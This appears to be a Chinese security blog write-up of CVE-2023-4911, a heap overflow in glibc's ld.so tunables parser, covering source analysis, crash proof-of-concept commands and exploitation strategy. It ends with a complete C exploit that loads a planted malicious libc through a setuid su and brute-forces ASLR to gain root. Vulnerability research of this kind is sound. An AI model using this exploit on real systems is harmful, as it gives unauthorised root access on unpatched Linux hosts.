CVE-2023-4911 GLIBC ld 堆溢出提权

漏洞分析

A buffer overflow was discovered in the GNU C Library’s dynamic loader ld.so while processing the GLIBC_TUNABLES environment variable. This issue could allow a local attacker to use maliciously crafted GLIBC_TUNABLES environment variables when launching binaries with SUID permission to execute code with elevated privileges.

了解一下tunables相关内容 https://www.gnu.org/software/libc/manual/html_node/Tunables.html

Tunables are a feature in the GNU C Library that allows application authors and distribution maintainers to alter the runtime library behavior to match their workload.

形式是由环境变量GLIBC_TUNABLES指示的由”:”分隔的键值对序列,如:
GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3

调试一下Poc: env -i “GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A” /usr/bin/su –help
崩溃原因是在栈上读取时超出了栈的下界.

根据漏洞信息和崩溃点的栈回溯,来到处理tunables环境变量的文件,dl-tunables.c.

主要的处理流程实在__tunables_init函数中完成的.

  • 遍历所有的环境变量
    • 如果环境变量名是GLIBC_TUNABLES
      • 调用tunables_strdup将其拷贝到堆上
      • 调用parse_tunables处理该环境变量的值,即由:分隔的键值对序列.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* Initialize the tunables list from the environment.  For now we only use the
ENV_ALIAS to find values. Later we will also use the tunable names to find
values. */
void
__tunables_init (char **envp)
{
char *envname = NULL;
char *envval = NULL;
size_t len = 0;
char **prev_envp = envp;

maybe_enable_malloc_check ();

while ((envp = get_next_env (envp, &envname, &len, &envval,
&prev_envp)) != NULL)
{
#if TUNABLES_FRONTEND == TUNABLES_FRONTEND_valstring
if (tunable_is_name (GLIBC_TUNABLES, envname))
{
char *new_env = tunables_strdup (envname);
if (new_env != NULL)
parse_tunables (new_env + len + 1, envval);
/* Put in the updated envval. */
*prev_envp = new_env;
continue;
}
#endif

tunables_strdup和strdup类似,就是将字符串拷贝到堆上.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static char *
tunables_strdup (const char *in)
{
size_t i = 0;

while (in[i++] != '\0');
char *out = __minimal_malloc (i + 1);

/* For most of the tunables code, we ignore user errors. However,
this is a system error - and running out of memory at program
startup should be reported, so we do. */
if (out == NULL)
_dl_fatal_printf ("failed to allocate memory to process tunables\n");

while (i-- > 0)
out[i] = in[i];

return out;
}

来看一下__minimal_malloc的实现.

  • 如果alloc_end为空,则需要初始化内存分配器
    • 通过外部变量_end(ld读写段的结束位置)对alloc_ptr进行赋值,将alloc_ptr上对齐到整页的地址作为alloc_end. alloc_ptr和alloc_end之间就是一个小的内存池.
  • 将alloc_ptr向上对齐到MALLOC_ALIGNMENT.(64位下是16字节)
  • 如果内存池的容量不足以分配n字节(后面的条件n >= -alloc_ptr看上去不是很容易理解,其实是避免地址回绕)
    • 将n向上对其到整页的大小,再额外增加一页的大小减少分配次数,通过mmap系统调用申请内存作为新的内存池.
  • 返回请求的内存空间
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    /* Allocate an aligned memory block.  */
    void *
    __minimal_malloc (size_t n)
    {
    if (alloc_end == 0)
    {
    /* Consume any unused space in the last page of our data segment. */
    extern int _end attribute_hidden;
    alloc_ptr = &_end;
    alloc_end = (void *) 0 + (((alloc_ptr - (void *) 0)
    + GLRO(dl_pagesize) - 1)
    & ~(GLRO(dl_pagesize) - 1));
    }

    /* Make sure the allocation pointer is ideally aligned. */
    alloc_ptr = (void *) 0 + (((alloc_ptr - (void *) 0) + MALLOC_ALIGNMENT - 1)
    & ~(MALLOC_ALIGNMENT - 1));

    if (alloc_ptr + n >= alloc_end || n >= -(uintptr_t) alloc_ptr)
    {
    /* Insufficient space left; allocate another page plus one extra
    page to reduce number of mmap calls. */
    caddr_t page;
    size_t nup = (n + GLRO(dl_pagesize) - 1) & ~(GLRO(dl_pagesize) - 1);
    if (__glibc_unlikely (nup == 0 && n != 0))
    return NULL;
    nup += GLRO(dl_pagesize);
    page = __mmap (0, nup, PROT_READ|PROT_WRITE,
    MAP_ANON|MAP_PRIVATE, -1, 0);
    if (page == MAP_FAILED)
    return NULL;
    if (page != alloc_end)
    alloc_ptr = page;
    alloc_end = page + nup;
    }

    alloc_last_block = (void *) alloc_ptr;
    alloc_ptr += n;
    return alloc_last_block;
    }

接下来是主逻辑parse_tunbales函数,它去掉不合法的tunable,重新在堆上的tunestr构建合法的tunestr.
参数tunestr是堆上的副本,将在其上构造合法tunestr.valstring是栈上的原始环境变量.

  • 初始化阶段,设置p=tunestr(堆上的副本),off=0.
  • 进入大循环
    • 设置当前tunable的name=p
    • 计算当前tunable的长度len,以’=’,’:’,’\0’作为终止
    • 如果当前tunable没有值(‘=’)且没有下一个tunable(‘:’),设置tunestr[off]=’\0’,结束处理.
    • 如果当前tunable没有值(‘=’)但还下一个tunable(‘:’),p+=len+1跳过当前name,开始新一轮循环
    • 到这里说明当前tunable有一个键且有一个’=’,p+=len+1指向当前tunable的值.
    • 设置value=&valstring[p - tunestr],将value指向当前tunable的值,注意这里使用的是栈上的原始版本,将作为本次向堆上拷贝的值.
    • 计算当前tunable值的长度.
    • 对比当前tunable的键,如果存在于tunable_list中,则进行向堆上tunestr的拷贝.
      • 先从tunable_list中拷贝本次tunable的键到tunestr中
      • 再从value中拷贝本次tunable的值到tunestr中
      • 向value[len]写入’\0’,即将栈上的环境变量中’:’替换为’\0’
      • 调用tunable_initialize初始化当前tunable.
    • 如果还有下一个tunable(p[len]!=’\0’),p+=len+1指向下一个tunable的键,进入下一次循环
    • 否则不改变p的位置,进入下一次循环.(默认逻辑是在下一次循环中,p会从本次tunable的值开始扫描直到扫到结束符'\0',结束处理.)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
/* Parse the tunable string TUNESTR and adjust it to drop any tunables that may
be unsafe for AT_SECURE processes so that it can be used as the new
environment variable value for GLIBC_TUNABLES. VALSTRING is the original
environment variable string which we use to make NULL terminated values so
that we don't have to allocate memory again for it. */
static void
parse_tunables (char *tunestr, char *valstring)
{
if (tunestr == NULL || *tunestr == '\0')
return;

char *p = tunestr;
size_t off = 0;

while (true)
{
char *name = p;
size_t len = 0;

/* First, find where the name ends. */
while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
len++;

/* If we reach the end of the string before getting a valid name-value
pair, bail out. */
if (p[len] == '\0')
{
if (__libc_enable_secure)
tunestr[off] = '\0';
return;
}

/* We did not find a valid name-value pair before encountering the
colon. */
if (p[len]== ':')
{
p += len + 1;
continue;
}

p += len + 1;

/* Take the value from the valstring since we need to NULL terminate it. */
char *value = &valstring[p - tunestr];
len = 0;

while (p[len] != ':' && p[len] != '\0')
len++;

/* Add the tunable if it exists. */
for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
{
tunable_t *cur = &tunable_list[i];

if (tunable_is_name (cur->name, name))
{
/* If we are in a secure context (AT_SECURE) then ignore the
tunable unless it is explicitly marked as secure. Tunable
values take precedence over their envvar aliases. We write
the tunables that are not SXID_ERASE back to TUNESTR, thus
dropping all SXID_ERASE tunables and any invalid or
unrecognized tunables. */
if (__libc_enable_secure)
{
if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
{
if (off > 0)
tunestr[off++] = ':';

const char *n = cur->name;

while (*n != '\0')
tunestr[off++] = *n++;

tunestr[off++] = '=';

for (size_t j = 0; j < len; j++)
tunestr[off++] = value[j];
}

if (cur->security_level != TUNABLE_SECLEVEL_NONE)
break;
}

value[len] = '\0';
tunable_initialize (cur, value);
break;
}
}

if (p[len] != '\0')
p += len + 1;
}
}

然而最后的默认逻辑是可以被打破的,如果在下一次循环扫描到结束符’\0’之前扫描到了新的’=’符号,则会将上一次的值作为键,继续处理.例如: GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A .

否则不改变p的位置,进入下一次循环.(默认逻辑是在下一次循环中,p会从本次tunable的值开始扫描直到扫到结束符'\0',结束处理.)

处理该tunable的逻辑如下,下图是每一轮开始时的情况,红色部分为本次tunable的键,蓝色部分为本次tunable的值.
在第三轮中,会从valString中越界取出字符作为键写入,这里假设越界取出的字符是’\0’.
第四轮中,tunable的键和值符合正常的tunable.
在第五轮进入时,由于当前键为之前越界取出的’\0’,循环终止,结束处理.

在parse_tunables最后下个断点,验证了我们的推理(注意’\0’截断).

循环能否终止,要取决于越界取时是否能取到一个终止符,否则将无限循环.
这也解释了官方POC中”Z=printf '%08192x' 1“的作用,使得一直取不到结束符’\0’,持续循环直到越界到超出栈的下界.

env -i “GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A” “Z=printf '%08192x' 1“ /usr/bin/su –help

利用分析

无效的溢出

然而在我的环境中,valString距离栈下界只有0x3e的距离,使得仅仅是GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A就会导致在parse_tunables中超出栈的下界而崩溃.调试时手动调用mmap扩大栈空间后,成功从parse_tunables中返回并来到另一个崩溃点.

但用gdb强行开空间肯定不行,多次尝试后发现在该环境变量后添加大量空的环境变量可以使得valString的位置向低地址移动,从而避免越界读取时超出栈的下界.

先忽略掉这个新的崩溃点(虽然它很重要),现在我们能安全的控制溢出,下一步是搜寻溢出的对象.
堆溢出一般两种选择,一是打堆分配器使用的堆块元信息,二是覆盖后面的对象.
根据之前的分析,该堆分配器并没有在堆块上保存任何的元信息,pass.
那就只能覆盖后面的对象,但由于该堆分配器是向高地址增长的且(几乎)不提供释放的功能,导致tunestr之后是未使用的空间,根本不存在对象.

似乎已经走投无路了,但其实还有一线生机.该分配器其实并不完全是向高地址增长的,因为新的内存池是通过mmap分配的,而多次mmap分配的空间是向低地址增长的.

正好ld的只读段和读写段之间有1页的内存,获取到这一页就意味着可以控制ld上大量的数据.
然而天有绝人之路,该分配器每次最少分配两页,这一页是拿不到的.

于是现在的能力是,第二次mmap出的tunestr溢出覆盖掉第一次mmap出的tunestr,哈哈,有什么用呢.(其实有点用,可以改掉第一次经过合法化后的tunestr,可能能达到某些效果).

幸运的崩溃

挖洞是需要缘分的,没想到利用也有这一说法.

现在来分析一下之前找到的那个崩溃点,可以发现,一个link_map的指针l的值被我们污染了.
不可思议,因为溢出点之后没有任何已创建的对象.联系上最近出的一道堆题,唯一的解释是,还有一个未初始化漏洞.

能看出来这是一个将link_map链入链表的操作,结合上源码中注释掉的new->l_next=NULL,大概能推出是崩溃之前的一个link_map对象的l->next字段被我们污染,这里又去掉了对l->next指针的初始化操作,导致不存在的link_map一并链入了namespace中.

但注释说了这是calloc,怎么会拿到被提前污染的指针呢?看一眼源码,哈哈,幽默.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/* We use this function occasionally since the real implementation may
be optimized when it can assume the memory it returns already is
set to NUL. */
void *
__minimal_calloc (size_t nmemb, size_t size)
{
/* New memory from the trivial malloc above is always already cleared.
(We make sure that's true in the rare occasion it might not be,
by clearing memory in free, below.) */
size_t bytes = nmemb * size;

#define HALF_SIZE_T (((size_t) 1) << (8 * sizeof (size_t) / 2))
if (__builtin_expect ((nmemb | size) >= HALF_SIZE_T, 0)
&& size != 0 && bytes / size != nmemb)
return NULL;

return malloc (bytes);
}

__typeof (calloc) *__rtld_calloc attribute_relro;
__typeof (free) *__rtld_free attribute_relro;
__typeof (malloc) *__rtld_malloc attribute_relro;
__typeof (realloc) *__rtld_realloc attribute_relro;

void
__rtld_malloc_init_stubs (void)
{
__rtld_calloc = &__minimal_calloc;
__rtld_free = &__minimal_free;
__rtld_malloc = &__minimal_malloc;
__rtld_realloc = &__minimal_realloc;
}

能用可控内容覆盖掉link_map,那肯定能做很多事了.一个未初始化的字段是l->l_inifo[RPATH],其指向了信任的加载库路径的Elf64_Dyn结构,覆盖其指向伪造的恶意路径,从而可以加载恶意libc,利用su程序的suid完成提权.

由于不知道栈的地址,惯用手法是使用环境变量在栈上喷射大量的恶意Elf64_Dyn,同时将l->l_inifo[RPATH]设置为栈随机化的中心位置,不断fork进程爆破.

最终成功劫持libc路径为"(当然不一定,官方说选这个是因为绝大部分系统的符号表-0x14位置处都有一个”符号).

溢出偏移的计算可以参照上面那幅溢出的模式图,需要使用第四轮的越界读取进行覆盖,因为这样可以同时在覆盖到l_info[DT_RPATH]之前写入大量’\0’覆盖link_map的其他位置,不然会在处理过程中发生段错误.计算出大概的位置再细调一下.

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>

// No ASLR
//#define STACK_TARGET 0x00007ffffff0c808
// ASLR Brute
#define STACK_TARGET 0x00007ffdfffff018


char * p64(uint64_t val) {
char * ret = malloc(8);
memset(ret, 0, 8);
memcpy(ret, &val, 8);
ret[7] = 0;
return ret;
}

int main()
{
char *envp[0x1000] = {NULL};
char *argv[] = {"/usr/bin/su", "--help", NULL};
int i = 0;

//创建恶意路径,将提前准备的恶意libc加入.
if (mkdir("\"", 0755) == 0)
{
int sfd, dfd, len;
char buf[0x1000];
dfd = open("\"/libc.so.6", O_CREAT | O_WRONLY, 0755);
sfd = open("./libc.so.6", O_RDONLY);
do
{
len = read(sfd, buf, sizeof(buf));
write(dfd, buf, len);
} while (len == sizeof(buf));
close(sfd);
close(dfd);
}


// 用尽LD读写段,使得payload使用新mmap新的空间
char flat1[0xd00];
memset(flat1,0,0xd00);
strcpy(flat1,"GLIBC_TUNABLES=glibc.malloc.mxfast=");
for(int j = strlen(flat1);j < 0xd00-1;++j)
flat1[j]='F';
flat1[0xd00-1] = '\0';


// payload
char payload[0x300];
memset(payload,0,0x300);
strcpy(payload,"GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");
for(int j = strlen(payload);j < 0x300 -1 ;++j)
payload[j]='P';
payload[0x300 - 1] = '\0';

//填充块,增大payload与link_map之间的距离,否则无法使得第四轮的越界读取内容写入link_map(计算一下偏移可知).
char flat2[0x300];
memset(flat2,0,0x300);
strcpy(flat2,"GLIBC_TUNABLES=glibc.malloc.mxfast=");
for(int j = strlen(flat2);j < 0x300-1;++j)
flat2[j]='L';
flat2[0x300-1] = '\0';

for(i = 0;i<0x1000-1;)
envp[i++] = "";

i = 0;
envp[i++] = flat1;
envp[i++] = payload;


i = 0xFD;
envp[i++] = p64(STACK_TARGET);

i = 0x500;
envp[i++] = flat2;

//喷射Elf64_Dyn
char dt_rpath[0x9000];
for (int i = 0; i < sizeof(dt_rpath); i += 8)
{
*(uintptr_t *)(dt_rpath + i) = -0x14ULL;
}
dt_rpath[sizeof(dt_rpath) - 1] = '\0';

for (int i = 0; i < 0x2f; i++)
{
envp[0xf80 + i] = dt_rpath;
}
envp[0xffe] = "AAAA"; // alignment, currently already aligned

//爆破栈的ASLR.
int pid;
for (int ct = 1;; ct++)
{
if (ct % 100 == 0)
{
printf("try %d\n", ct);
}
if ((pid = fork()) < 0)
{
perror("fork");
break;
}
else if (pid == 0) // child
{
if (execve(argv[0], argv, envp) < 0)
{
perror("execve");
break;
}
}
else // parent
{
int wstatus;
wait(&wstatus);
if (!WIFSIGNALED(wstatus))
{
// probably returning from shell :)
break;
}
}
}

return 0;
}


参考

https://nvd.nist.gov/vuln/detail/CVE-2023-4911
https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
https://n.ova.moe/blog/%E3%80%8CPWN%E3%80%8DCVE-2023-4911-%E5%A4%8D%E7%8E%B0
https://github.com/leesh3288/CVE-2023-4911/blob/main/exp.c

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信